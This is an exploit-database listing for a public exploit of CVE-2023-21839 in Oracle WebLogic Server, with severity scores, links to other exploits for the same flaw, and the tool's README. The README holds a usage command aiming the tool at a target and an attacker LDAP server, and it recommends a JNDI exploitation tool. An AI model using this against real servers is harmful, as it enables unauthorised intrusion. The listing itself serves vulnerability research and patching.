Exploit for Deserialization of Untrusted Data in Oracle Weblogic Server

githubexploit · 2023-02-21

Description

Exploit for CVE-2023-21839 affecting Weblogic versions 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.

Affected Oracle Weblogic Server versions

Oracle Weblogic Server= 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

All known vulnerabilities by product

Oracle Weblogic Server

CVSS 7.5 for CVE-2023-21839

7.5

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:NONE

Availability:NONE

Working code

86%confidence this exploit runs

Based on 2 file(s) in the source

EPSS Score

99.8%higher than 100.0% of all CVEs

Updated 2026-06-16

Exploit Details

Modified:2025-08-31 02:57

Last Seen:2025-08-31 21:32

Reporter:Scarehehe

Written in:Java

Last commit:2023-02-26

Tags

weblogicCVE-2023-21839exploitsecurityjavaldap

Other exploits for CVE-2023-21839

Vulhub-vulnerability-reproduction-reports

2026-07-23 Charing-MenGITHUB

Exploit for Improper Access Control in Oracle Weblogic_Server

2024-02-06 dinosnGITHUB

Exploit for Cross-site Scripting in Helpsystems Cobalt_Strike

2023-12-03 Romanc9GITHUB

Oracle Weblogic PreAuth Remote Command Execution Exploit

2023-06-12 metasploitZDTRuby

Oracle Weblogic PreAuth Remote Command Execution

2023-06-12 Grant Willcox, 4ra1n, 14m3ta7k, metasploit.comPACKETSTORMRuby

Exploit for Deserialization of Untrusted Data in Oracle Weblogic_Server

2023-05-29 kw3h4GITHUB

Exploit for Deserialization of Untrusted Data in Oracle Weblogic_Server

2023-04-15 houqeGITHUB

Exploit for Deserialization of Untrusted Data in Oracle Weblogic_Server

2023-02-24 ASkyeyeGITHUB

Exploit Code

README21 lines

## https://sploitus.com/exploit?id=626CBF2F-AD12-5349-A723-3F4C5484FBA4
# WebLogic-CVE-2023-21839

CVE-2023-21839 is a vulnerability created based on publicly available network information.

Affected versions:

12.2.1.3.0

12.2.1.4.0

14.1.1.0.0

Usage:
> java -jar target_ip:port LDAP_address

Recommended tool:
https://github.com/WhiteHSBG/JNDIExploit

# Disclaimer
This tool is intended only for research and discussion purposes related to network security. Please use it reasonably in accordance with network security laws! If any illegal attacks or other violations occur due to the use of this tool, the author is not responsible.